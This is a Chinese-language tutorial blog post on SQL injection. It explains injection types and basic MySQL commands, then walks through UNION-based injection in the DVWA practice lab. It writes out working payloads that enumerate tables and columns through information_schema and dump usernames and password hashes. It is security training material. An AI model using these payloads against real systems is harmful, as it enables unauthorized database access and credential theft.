数据库语句+DVWA联合查询

您所在的位置：网站首页 › sql注入联合查询 › 数据库语句+DVWA联合查询

数据库语句+DVWA联合查询

2023-10-02 12:00| 来源: 网络整理| 查看: 265

数据库语句+联合查询

数据库语句+联合查询数据库语句+联合查询sql注入概念按照数据提交的方式来分类按照注入点类型来分类Mysql数据库sql中最重要的语句 Sql注入的流程联合查询

sql注入概念

万能密码---->数据库交互：sql注入将用户输入的内容和源码拼通功能：能读取并写入数据库中所有数据单引号闭合，or条件不会报错，and错误无法通过 admin’# #号代表注释，用户名正确则通过

什么是sql注入？ SQL Injection：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将(恶意)的SQL命令注入到后台数据库引擎执行的能力，他可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

按照数据提交的方式来分类 1.Get注入：更快只有1个数据包，提交后不安全可直接看到路径。2.Post注入：更安全数据包数量更多，分批发送，可看数据包路径。 sql注入可能存在的包头 Referer头：数据包来源头 http头：用户通过什么访问更改方式： 1.手动将Get改为Post 2.右键—>改变请求的方式3.Cookie注入将浏览记录保存，保存浏览值，在下一次登录时可直接访问。按照注入点类型来分类

1.数字型注入点 2.字符型注入点 3.搜索型注入点

Mysql数据库 sql中最重要的语句

CREATE DATABASE ##创建新数据库 ALTER DATABASE ##修改数据库 CREATE TABLE ##创建新表 ALTER TABLE ##变更(改变)数据库表 DROP TABLE ##删除表 CREATE INDEX ##创建索引(搜索键) DROP INDEX ##删除索引

SELECT ##从数据库表中获取数据 UPDATE ##更新数据库表中的数据 DELETE ##从数据库表中删除数据 INSERT INTO ##向数据库表中插入数据

如何连接并启动mysql？

cd phpStudy\PHPTutorial\MySQL\bin\mysql.exe -u root -p ##直接回车密码 ##进入数据库

在这里插入图片描述

show databases ； ##查看当前数据库的所有库名

在这里插入图片描述

use dvwa; ##使用数据库

在这里插入图片描述

show tables; ##查看dvwa库的所有的表 desc users; ##查看表结构 select * from users; ##查看所有的列及数据

在这里插入图片描述

select user,password ftom users; ##查看特定的列 select user,password ftom users where user=admin;##查看指定行

在这里插入图片描述

Sql注入的流程

1.判断是否存在注入，注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示位置 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据

联合查询

实验环境： DVWA

view source ##查看源码 ##最多只能查看5个值

sql注入 ’ ##字符型

1' or '1'='1 ##恒成立，万能拼接进去，显示五个账号 1' union select 1,2# ##union联合查询 ##1数据 ##2数据 ##1,2数据修改，对应显示位置的改变 1’and ’1’=’2

在这里插入图片描述

1’or ’1234’=’1234

在这里插入图片描述

1’order by 1 #

在这里插入图片描述

1' union select 1,2# ##union联合查询 ##1数据 ##2数据 ##1,2数据修改，对应显示位置的改变

在这里插入图片描述

1' union select version(),database()# ##得知显示位置和库名 1' union select1,group_concat(table_name) from information_schema.tables where table_schema=database() # ##指定库查询筛选的表名

在这里插入图片描述

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ##指定库查询users表的所有列

在这里插入图片描述

1'union select user,password from users# ##查询数据

即改即提交，无需一改一抓包再显示删除字符型中的单引号即可更改为数字型不识别，需要转码在这里插入图片描述

【本文地址】

公司简介

联系我们